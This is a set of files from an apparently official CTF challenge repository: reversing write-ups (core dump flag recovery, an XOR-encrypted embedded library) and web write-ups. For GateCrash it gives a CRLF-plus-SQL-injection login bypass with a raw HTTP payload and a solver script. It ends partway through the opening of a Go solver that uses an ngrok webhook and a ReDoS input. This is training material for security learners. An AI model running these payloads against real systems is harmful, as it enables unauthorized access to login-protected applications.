RiseFromTheDead/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | RiseFromTheDead 4 | 5 | 22nd 11 23 / Document No. D23.102.XX 6 | 7 | Prepared By: clubby789 8 | 9 | Challenge Author: clubby789 10 | 11 | Difficulty: Hard 12 | 13 | Classification: Official 14 | 15 | # Synopsis 16 | 17 | RiseFromTheDead is a Hard reversing challenge. Players will reverse engineer a binary in order to understand an encoding scheme, then use a core dump to recover the original flag. 18 | 19 | ## Skills Required 20 | - Decompiler usage 21 | - Basic data structure knowledge 22 | ## Skills Learned 23 | - Core file analysis 24 | - Pwntools automation 25 | 26 | # Solution 27 | 28 | We're given a binary and a core dump for it. 29 | 30 | ## Analysis 31 | 32 | We'll begin by opening the provided binary in a decompiler. 33 | 34 | ```c 35 | int32_t main(int32_t argc, char** argv, char** envp) 36 | 37 | int32_t ret 38 | if (argc s<= 1) { 39 | char const* const rdx_1 = "./program" 40 | if (argc == 1) { 41 | rdx_1 = *argv 42 | } 43 | fprintf(stream: stderr, format: "Usage: %s \n", rdx_1) 44 | ret = -1 45 | } else { 46 | int32_t fd = open(file: argv[1], oflag: 0) 47 | ret = fd 48 | if (fd == 0xffffffff) { 49 | perror(s: "Opening file") 50 | } else { 51 | // PROT_READ|PROT_WRITE, MAP_PRIVATE 52 | char* flag = mmap(addr: nullptr, len: 0x1000, prot: 3, flags: 2, fd, offset: 0) 53 | if (flag == 0) { 54 | perror(s: "Mapping file") 55 | ret = -1 56 | } else { 57 | char* newline = strchr(flag, '\n') 58 | if (*newline != 0) { 59 | *newline = ' ' 60 | } 61 | memset(flag + 256, 0, 0x1000 - 256); 62 | void** rax_3 = init_shuffle_list(flag) 63 | memset(flag, 0, 256); 64 | shuf(rax_3, flag) 65 | puts(str: flag) 66 | kill(0, 0xb) 67 | ret = 0 68 | } 69 | } 70 | } 71 | return ret 72 | ``` 73 | 74 | This opens up some file (presumably the flag) and mmaps it into memory as a writable buffer, removing any trailing newline and anything beyond 256 characters. 75 | 76 | We then call `init_shuffle_list` using the flag, before clearing the whole flag buffer and calling `shuf` on it with the result of `init_shuffle_list`. Finally, we print the new value of `flag` before issuing a SIGSEGV to dump the core. 77 | 78 | ### `init_shuffle_list` 79 | 80 | ```c 81 | struct SomeStruct* init_shuffle_list(char* flag) 82 | 83 | int32_t fd = open(file: "/dev/urandom", oflag: 0) 84 | struct SomeStruct* ss = nullptr 85 | char* i = flag 86 | do { 87 | uint8_t num 88 | read(fd, buf: &num, nbytes: 1) 89 | while (true) { 90 | num = zx.q(num) 91 | if (pos_in_list(ss, (num.d).b) == 0) { 92 | break 93 | } 94 | read(fd, buf: &num, nbytes: 1) 95 | } 96 | append_list(&ss, (num.d).b, *i) 97 | i = &i[1] 98 | } while (i != &flag[0x100]) 99 | close(fd) 100 | return ss 101 | ``` 102 | 103 | We iterate over each character of the flag. We repeatedly get a random byte from `/dev/urandom` and check if it's in a list already. If it is not, we add the number and current flag character to the list. 104 | 105 | ### `pos_in_list` and `append_list` 106 | 107 | ```c 108 | bool pos_in_list(struct SomeStruct* arg1, uint8_t pos) 109 | 110 | if (arg1 == 0) { 111 | return 0 112 | } 113 | do { 114 | if (arg1->pos == pos) { 115 | return 1 116 | } 117 | arg1 = arg1->next 118 | } while (arg1 != 0) 119 | return 0 120 | ``` 121 | 122 | From this we can see that `SomeStruct` is a linked list structure. We iterate forward until finding a null `next`. If any entries in the list have a matching `pos` value we return true. 123 | 124 | ```c 125 | struct SomeStruct* append_list(struct SomeStruct** head, uint8_t pos, char chr) 126 | struct SomeStruct* cur = *head 127 | struct SomeStruct* new_head 128 | if (cur == 0) { 129 | new_head = malloc(bytes: 0x10) 130 | new_head->next = 0 131 | new_head->pos = pos 132 | new_head->chr = chr 133 | *head = new_head 134 | } else { 135 | struct SomeStruct* new_cur 136 | do { 137 | new_cur = cur 138 | cur = cur->next 139 | } while (cur != 0) 140 | struct SomeStruct* next = malloc(bytes: 0x10) 141 | new_cur->next = next 142 | next->next = 0 143 | new_cur->next->pos = pos 144 | new_head = new_cur->next 145 | new_head->chr = chr 146 | } 147 | return new_head 148 | ``` 149 | 150 | We can add a `chr` field to the end of our structure which contains the character given. This is a simple linked list append, initialising the head of the list if it is currently `NULL`. 151 | 152 | ### `shuf` 153 | 154 | ```c 155 | void shuf(struct SomeStruct* arg1, char* buffer) 156 | 157 | if (arg1 != 0) { 158 | do { 159 | buffer[zx.q(arg1->pos)] = arg1->chr 160 | arg1->chr = 0 161 | arg1 = arg1->next 162 | } while (arg1 != 0) 163 | } 164 | ``` 165 | 166 | For each entry in the linked list, we set `buffer[pos]` to `chr`, before setting the `chr` field to 0 and going to the next entry. 167 | 168 | This program effectively generates a list of 256 unique positions associated with a character, then places them into a buffer in the newly generated order. 169 | 170 | ## Recovering the flag 171 | 172 | The linked list still exists at the time the program crashes, meaning that we are able to parse the core file and retrieve the order of the list. However, the binary is optimised and the pointer to the list does not exist on the stack. We'll have to scan through memory to locate it. 173 | 174 | We'll use `pwntools` `corefile` module to examine the file. First, we need to open it and scan through memory mappings to find the heap, the first mapping in memory that isn't associated with a file. 175 | 176 | ```py 177 | from pwn import * 178 | 179 | core = Corefile("./core") 180 | for mem in core.mappings: 181 | if mem.name == '': 182 | heap = mem 183 | break 184 | else: 185 | print("heap not found") 186 | exit() 187 | ``` 188 | 189 | Using our knowledge of the flag format, the linked list is built in such a way that the first element will correspond to the position of `H`, the second to `T`, the third to `B` and so on. To locate the first entry in the list, we first need to find the position of 'H': 190 | 191 | ```py 192 | for mem in core.mappings: 193 | if 'flag' in mem.name: 194 | flag = mem 195 | break 196 | else: 197 | print("flag not found") 198 | exit() 199 | 200 | 201 | shuffled_flag = core.read(flag.start, 255) 202 | h_pos = shuffled_flag.index(b'H') 203 | print(f"`H` is at {h_pos}") 204 | ``` 205 | 206 | We're now looking for a structure in heap memory of this format: 207 | 208 | - 8 byte pointer, should be within the heap 209 | - The position of h as ab yte 210 | - A null byte 211 | 212 | Malloc will round up the size of our list struct to 16, so we'll search in chunks of 16. 213 | 214 | ```py 215 | for addr in range(heap.start, heap.stop, 16): 216 | ptr, pos, char = struct.unpack("PBB", core.read(addr, 10)) 217 | if ptr in heap and pos == h_pos and char == 0: 218 | list_head = addr 219 | break 220 | else: 221 | print("list not found") 222 | exit() 223 | ``` 224 | 225 | We can now simply traverse the linked list, following the pointers and taking the provided character from the shuffled buffer. 226 | 227 | ```py 228 | flag = "" 229 | while addr: 230 | addr, pos = struct.unpack("PB", core.read(addr, 9)) 231 | flag += chr(shuffled_flag[pos]) 232 | print(f"Flag is: `{flag.strip()}`") 233 | ``` 234 | -------------------------------------------------------------------------------- /uni-ctf-2023/rev/[Hard] RiseFromTheDead/htb/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | import struct 5 | 6 | core = Corefile("./core") 7 | for mem in core.mappings: 8 | if mem.name == '': 9 | heap = mem 10 | break 11 | else: 12 | log.error("heap not found") 13 | exit() 14 | 15 | for mem in core.mappings: 16 | if 'flag' in mem.name: 17 | flag = mem 18 | break 19 | else: 20 | log.error("flag not found") 21 | exit() 22 | 23 | 24 | shuffled_flag = core.read(flag.start, 256).decode() 25 | h_pos = shuffled_flag.index('H') 26 | log.info(f"`H` is at {h_pos}") 27 | 28 | for addr in range(heap.start, heap.stop, 16): 29 | ptr, pos, char = struct.unpack("PBB", core.read(addr, 10)) 30 | if ptr in heap and pos == h_pos and char == 0: 31 | list_head = addr 32 | break 33 | else: 34 | log.error("list not found") 35 | exit() 36 | 37 | log.info(f"List head at {list_head:#x}") 38 | 39 | flag = "" 40 | while addr: 41 | addr, pos = struct.unpack("PB", core.read(addr, 9)) 42 | flag += shuffled_flag[pos] 43 | print(f"Flag is: `{flag.strip()}`") 44 | -------------------------------------------------------------------------------- /uni-ctf-2023/rev/[Medium] BioBundle/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | BioBundle 4 | 5 | 16th 11 23 / Document No. D23.102.XX 6 | 7 | Prepared By: clubby789 8 | 9 | Challenge Author: clubby789> 10 | 11 | Difficulty: Medium 12 | 13 | Classification: Official 14 | 15 | 16 | 17 | 18 | 19 | # Synopsis 20 | 21 | Reversing a flag checker in an encrypted shared libary embedded in a binary. 22 | 23 | ## Skills Required 24 | - Basic decompiler use 25 | - Basic knowledge of dynamic loading 26 | ## Skills Learned 27 | - Use of `memfd_create` 28 | 29 | # Solution 30 | 31 | ## Analysis 32 | 33 | We'll begin by opening the binary in a decompiler. 34 | 35 | ```c 36 | int32_t main(int32_t argc, char** argv, char** envp) 37 | void* _ = dlsym(get_handle(), "_") 38 | int32_t ret 39 | if (_ == 0) { 40 | ret = -1 41 | } else { 42 | char buf[0x80] 43 | fgets(buf: &buf, n: 0x7f, fp: stdin) 44 | buf[strcspn(&buf, "\n")] = 0 45 | if (_(&buf) == 0) { 46 | puts(str: "[x] Critical Failure") 47 | } else { 48 | puts(str: "[*] Untangled the bundle") 49 | } 50 | ret = 0 51 | } 52 | return ret 53 | ``` 54 | 55 | This calls `get_handle`, which likely returns a handle to a dynamically loaded libary. It then tries to resolve the symbol named `_` within it. 56 | If this is successful, it reads input from the user and calls the loaded symbol on the user input. 57 | If the return value is non-zero, we print a success message - otherwise, an error message. 58 | 59 | ### `get_handle` 60 | 61 | ```c 62 | void* get_handle() 63 | int32_t fd = memfd_create(":^)", 0) 64 | if (fd == 0xffffffff) { 65 | exit(status: 0xffffffff) 66 | } 67 | for (int64_t i = 0; i u<= 0x3a77; i = i + 1) { 68 | char c = __[i] ^ 0x37 69 | write(fd, buf: &c, nbytes: 1) 70 | } 71 | char buf[0x1000] 72 | __builtin_memset(s: &buf, c: 0, n: 0x1000) 73 | sprintf(s: &buf, format: "/proc/self/fd/%d", fd) 74 | void* handle = dlopen(&buf, 1) 75 | if (handle == 0) { 76 | exit(status: 0xffffffff) 77 | } 78 | return handle 79 | ``` 80 | 81 | We begin by creating a file descriptor with `memfd_create`. `memfd_create` creates a temporary, in-memory anonymous file and returns a descriptor for it. 82 | We then write each byte of some large buffer `__`, XOR'd with 0x37, into the new file. 83 | 84 | We then get a path to access the anonymous file via /proc/self/fd, which contains the open file descriptors of the current process. Linux will allow us to treat these as symlinks to real files, even if they're created by `memfd_create`. 85 | 86 | Finally, we call `dlopen` on the fd path. This reveals that the decrypted contents of `__` must be a shared library which is loaded into the process. We'll extract the library, using our decompiler to copy the data out. Using Binary Ninja, we can also decrypt it at this step as follows: 87 | 88 | ```py 89 | with open('/tmp/lib.so', 'wb') as f: 90 | lib = bytes(b ^ 0x37 for b in bv.read(0x4080, 0x3a77)) 91 | f.write(lib) 92 | ``` 93 | 94 | ## Decompiling `lib.so` 95 | 96 | `lib.so` contains a single user function named `_`. This function constructs a flag value on the stack, then compares it to the input parameter. With this, we can take the flag and solve the challenge. 97 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Easy] GateCrash/README.md: -------------------------------------------------------------------------------- 1 | ![img](https://github.com/hackthebox/writeup-templates/raw/master/challenge/assets/images/banner.png) 2 | 3 | GateCrash 4 | 5 | 16th November 2023 / D23.xx.xx 6 | 7 | ​Prepared By: Lean 8 | 9 | ​Challenge Author(s): Lean 10 | 11 | ​Difficulty: Easy 12 | 13 | ​Classification: Official 14 | 15 | # [Synopsis](#synopsis) 16 | 17 | - The challenge involves a user login web application written in Golang and Nim. 18 | 19 | ## Description 20 | 21 | * An administrative portal for the campus parking area has been identified, bypassing it's authentication and gaining access to the gate control would allow us to unlock it and use staff vehicles for securing the campus premises way faster. 22 | 23 | ## Skills Required 24 | 25 | - Basic understanding of Golang 26 | - Basic understanding of Nim 27 | - Basic understanding of the HTTP protocol 28 | - Basic understanding of SQL 29 | - Experience in searching for known vulnurabilities 30 | 31 | ## Skills Learned 32 | 33 | - CRLF injection 34 | - SQL injection login bypass 35 | 36 | ## Application Overview 37 | 38 | ![img](./assets/overview.png) 39 | 40 | ### Nim's httpclient CRLF Injection Vulnerability 41 | 42 | The `main.nim` file contains a piece of code in the `routes` section that checks for SQL injection: 43 | 44 | ```nim 45 | proc containsSqlInjection(input: string): bool = 46 | for c in input: 47 | let ordC = ord(c) 48 | if not ((ordC >= ord('a') and ordC <= ord('z')) or 49 | (ordC >= ord('A') and ordC <= ord('Z')) or 50 | (ordC >= ord('0') and ordC <= ord('9'))): 51 | return true 52 | return false 53 | ``` 54 | 55 | The `containsSqlInjection` procedure checks for suspicious characters that could indicate an SQL injection attack. However, it can be bypassed. 56 | 57 | The vulnerability lies in the fact that the code uses `decodeUrl` to decode the user agent header, but it does not properly validate or sanitize the decoded value. This allows an attacker to inject CRLF (Carriage Return Line Feed) characters into the user agent header and bypass the SQL injection check. 58 | 59 | ```nim 60 | 61 | routes: 62 | post "/user": 63 | let username = @"username" 64 | let password = @"password" 65 | 66 | if containsSqlInjection(username) or containsSqlInjection(password): 67 | resp msgjson("Malicious input detected") 68 | 69 | let userAgent = decodeUrl(request.headers["user-agent"]) 70 | 71 | let jsonData = %*{ 72 | "username": username, 73 | "password": password 74 | } 75 | 76 | let jsonStr = $jsonData 77 | 78 | let client = newHttpClient(userAgent) 79 | client.headers = newHttpHeaders({"Content-Type": "application/json"}) 80 | 81 | let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr) 82 | 83 | if response.code != Http200: 84 | resp msgjson(response.body.strip()) 85 | 86 | resp msgjson(readFile("/flag.txt")) 87 | ``` 88 | 89 | Nims standard http library suffers from CRLF injection as of version <=1.2.6 [https://consensys.io/diligence/vulnerabilities/nim-httpclient-header-crlf-injection/](https://consensys.io/diligence/vulnerabilities/nim-httpclient-header-crlf-injection/) 90 | 91 | We can verify that the challenge is vulnerable by looking at the `Dockerfile`, at line 22 `nim 1.2.4` is installed. 92 | 93 | ``` 94 | RUN choosenim update 1.2.4 95 | ``` 96 | 97 | To exploit this vulnerability, we can modify the user agent header in the HTTP POST request to include a CRLF sequence followed by a payload that will bypass the SQL injection check. 98 | 99 | ### SQL Injection 100 | 101 | The `main.go` file implements a Golang server that handles the `/login` route. It also checks the user agent to ensure it matches one of the allowed user agents. 102 | 103 | However, there is a vulnerability in the way the SQL query is constructed. The code concatenates the user input directly into the SQL query string, which allows an attacker to perform an SQL injection attack. This vulnerability can be found in the following lines of code: 104 | 105 | ```go 106 | row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';") 107 | ``` 108 | 109 | To exploit this vulnerability, we can use the Nim CRLF injection vulnerability to bypass the user agent check and inject a payload that contains an SQL injection attack. 110 | 111 | By performing these two steps, we can exploit the vulnerabilities in both Nim and Golang to retrieve the flag. 112 | 113 | ```nim 114 | let payload = """{"username":"' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq","password":"test"}""" 115 | ``` 116 | 117 | By injecting this payload into the user agent header, the SQL injection check will be bypassed and the code will execute the following query: 118 | 119 | ```sql 120 | SELECT * FROM users WHERE username='' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq' AND password='test'; 121 | ``` 122 | 123 | This query will return a fake user with arbitraty an password hash that matches the one we provide in the request. 124 | 125 | Also a dummy username and password are added with the exact character length of the CRLF payload in order to exactly match the Content-Length of the request thus overwriting the original one with the injected content. 126 | 127 | ``` 128 | POST http://127.0.0.1:1337/user 129 | User-Agent: ChromeBot/9.5%0D%0A%0D%0A{"username":"' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq","password":"test"} 130 | Accept-Encoding: gzip, deflate, br, zstd 131 | Accept: */* 132 | Connection: keep-alive 133 | Content-Length: 110 134 | Content-Type: application/x-www-form-urlencoded 135 | 136 | username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&password=aaaa 137 | ``` -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Easy] GateCrash/assets/overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Easy] GateCrash/assets/overview.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Easy] GateCrash/htb/solver.py: -------------------------------------------------------------------------------- 1 | import requests, requests_raw, json 2 | 3 | HOST, PORT = "127.0.0.1", 1337 4 | CHALLENGE_URL = f"http://{HOST}:{PORT}" 5 | 6 | def pwn(): 7 | with requests.Session() as session: 8 | dummy_payload = """{"username":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","password":"aaaa"}""" 9 | sqli_payload = """{"username":"' UNION SELECT 1, 'test', '$2a$10$iN4TZptSPm634thWzJmklOEarWGSu6JbWTfNbWntYMqgoRsMsjLjq","password":"test"}""" 10 | 11 | resp = session.post(f"{CHALLENGE_URL}/user", data=eval(dummy_payload), headers={ 12 | "User-Agent": f"ChromeBot/9.5%0D%0A%0D%0A{sqli_payload}" 13 | }) 14 | 15 | return resp.text 16 | 17 | 18 | def main(): 19 | flag = pwn() 20 | print(flag) 21 | 22 | 23 | if __name__ == "__main__": 24 | main() -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/admin.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/login.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/marketlogin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/marketlogin.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/oauth2grant.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/oauth2grant.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/orders.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/orders.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview1.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/overview2.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/pdf.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/assets/register.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Hard] PhantomFeed/assets/register.png -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/conf/nginx.conf: -------------------------------------------------------------------------------- 1 | events { 2 | worker_connections 1024; 3 | } 4 | 5 | http { 6 | server { 7 | listen 1337; 8 | server_name pantomfeed; 9 | 10 | location / { 11 | proxy_pass http://127.0.0.1:5000; 12 | } 13 | 14 | location /phantomfeed { 15 | proxy_pass http://127.0.0.1:3000; 16 | proxy_set_header Host $host; 17 | proxy_set_header X-Real-IP $remote_addr; 18 | } 19 | 20 | location /backend { 21 | proxy_pass http://127.0.0.1:4000; 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/conf/supervisord.conf: -------------------------------------------------------------------------------- 1 | [supervisord] 2 | user=root 3 | nodaemon=true 4 | logfile=/dev/null 5 | logfile_maxbytes=0 6 | pidfile=/run/supervisord.pid 7 | 8 | [program:nginx] 9 | command=/usr/sbin/nginx -g "daemon off;" 10 | autostart=true 11 | autorestart=true 12 | stderr_logfile=/var/log/nginx/error.log 13 | stdout_logfile=/var/log/nginx/access.log 14 | 15 | [program:phantomfeed] 16 | command=python /app/phantom-feed/run.py 17 | user=root 18 | autorestart=true 19 | stdout_logfile=/dev/stdout 20 | stdout_logfile_maxbytes=0 21 | stderr_logfile=/dev/stderr 22 | stderr_logfile_maxbytes=0 23 | 24 | [program:phantommarketbackend] 25 | command=python /app/phantom-market-backend/run.py 26 | user=root 27 | autorestart=true 28 | stdout_logfile=/dev/stdout 29 | stdout_logfile_maxbytes=0 30 | stderr_logfile=/dev/stderr 31 | stderr_logfile_maxbytes=0 32 | 33 | [program:phantommarketfrontend] 34 | command=npm start --prefix /app/phantom-market-frontend 35 | user=root 36 | autorestart=true 37 | stdout_logfile=/dev/stdout 38 | stdout_logfile_maxbytes=0 39 | stderr_logfile=/dev/stderr 40 | stderr_logfile_maxbytes=0 -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/ash 2 | 3 | # Change flag name 4 | mv /flag.txt /flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 10).txt 5 | 6 | # Secure entrypoint 7 | chmod 600 /entrypoint.sh 8 | 9 | # Generate RSA Key Pair 10 | openssl genrsa -out /app/private.pem 2048 11 | 12 | # Extract the public key 13 | openssl rsa -in /app/private.pem -outform PEM -pubout -out /app/public.pem 14 | 15 | # Launch supervisord 16 | /usr/bin/supervisord -c /etc/supervisord.conf 17 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/htb/go.mod: -------------------------------------------------------------------------------- 1 | module solver 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/go-stack/stack v1.8.1 // indirect 7 | github.com/inconshreveable/log15 v3.0.0-testing.3+incompatible // indirect 8 | github.com/inconshreveable/log15/v3 v3.0.0-testing.5 // indirect 9 | github.com/jpillora/backoff v1.0.0 // indirect 10 | github.com/mattn/go-colorable v0.1.13 // indirect 11 | github.com/mattn/go-isatty v0.0.16 // indirect 12 | go.uber.org/multierr v1.10.0 // indirect 13 | golang.ngrok.com/muxado/v2 v2.0.0 // indirect 14 | golang.ngrok.com/ngrok v1.4.1 // indirect 15 | golang.org/x/net v0.10.0 // indirect 16 | golang.org/x/sys v0.8.0 // indirect 17 | golang.org/x/term v0.8.0 // indirect 18 | google.golang.org/protobuf v1.28.1 // indirect 19 | ) 20 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/htb/go.sum: -------------------------------------------------------------------------------- 1 | github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw= 2 | github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4= 3 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 4 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 5 | github.com/inconshreveable/log15 v3.0.0-testing.3+incompatible h1:zaX5fYT98jX5j4UhO/WbfY8T1HkgVrydiDMC9PWqGCo= 6 | github.com/inconshreveable/log15 v3.0.0-testing.3+incompatible/go.mod h1:cOaXtrgN4ScfRrD9Bre7U1thNq5RtJ8ZoP4iXVGRj6o= 7 | github.com/inconshreveable/log15/v3 v3.0.0-testing.5 h1:h4e0f3kjgg+RJBlKOabrohjHe47D3bbAB9BgMrc3DYA= 8 | github.com/inconshreveable/log15/v3 v3.0.0-testing.5/go.mod h1:3GQg1SVrLoWGfRv/kAZMsdyU5cp8eFc1P3cw+Wwku94= 9 | github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA= 10 | github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= 11 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 12 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 13 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= 14 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 15 | go.uber.org/multierr v1.10.0 h1:S0h4aNzvfcFsC3dRF1jLoaov7oRaKqRGC/pUEJ2yvPQ= 16 | go.uber.org/multierr v1.10.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= 17 | golang.ngrok.com/muxado/v2 v2.0.0 h1:bu9eIDhRdYNtIXNnqat/HyMeHYOAbUH55ebD7gTvW6c= 18 | golang.ngrok.com/muxado/v2 v2.0.0/go.mod h1:wzxJYX4xiAtmwumzL+QsukVwFRXmPNv86vB8RPpOxyM= 19 | golang.ngrok.com/ngrok v1.4.1 h1:z53H/hAqSJf+K5wL3v4m01Dp4rU0wcf323iMPBQ27QA= 20 | golang.ngrok.com/ngrok v1.4.1/go.mod h1:8a8GVoqR305t0O51ld211Xq2UeKgm32o8px24ddvXZI= 21 | golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= 22 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 23 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 24 | golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU= 25 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 26 | golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols= 27 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 28 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 29 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 30 | google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= 31 | google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 32 | -------------------------------------------------------------------------------- /uni-ctf-2023/web/[Hard] PhantomFeed/htb/solver.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "encoding/hex" 9 | "fmt" 10 | "io" 11 | "io/ioutil" 12 | "net/http" 13 | "net/url" 14 | "regexp" 15 | "strings" 16 | "sync" 17 | 18 | "golang.ngrok.com/ngrok" 19 | "golang.ngrok.com/ngrok/config" 20 | ) 21 | 22 | const ( 23 | HOST = "127.0.0.1" 24 | PORT = "1337" 25 | CHALLENGE_URL = "http://" + HOST + ":" + PORT 26 | CLIENT_ID = "phantom-market" 27 | ) 28 | 29 | type Webhook struct { 30 | URL string 31 | Token string 32 | } 33 | 34 | var cookie string 35 | var WEBHOOK_URL string 36 | var leakedTokenResponse string 37 | 38 | func generateRandomHex(length int) (string, error) { 39 | if length%2 != 0 { 40 | return "", fmt.Errorf("length must be even") 41 | } 42 | 43 | b := make([]byte, length/2) 44 | _, err := io.ReadFull(rand.Reader, b) 45 | if err != nil { 46 | return "", err 47 | } 48 | return hex.EncodeToString(b), nil 49 | } 50 | 51 | func registerUser(username, password string, wg *sync.WaitGroup) { 52 | fmt.Println("[+] registering random user...") 53 | 54 | defer wg.Done() 55 | redos := "a@aaaaaaaaaaaaaaaaaaaaaaaaaa!" 56 | fmt.Println("[+] generated reDOS payload: " + redos) 57 | 58 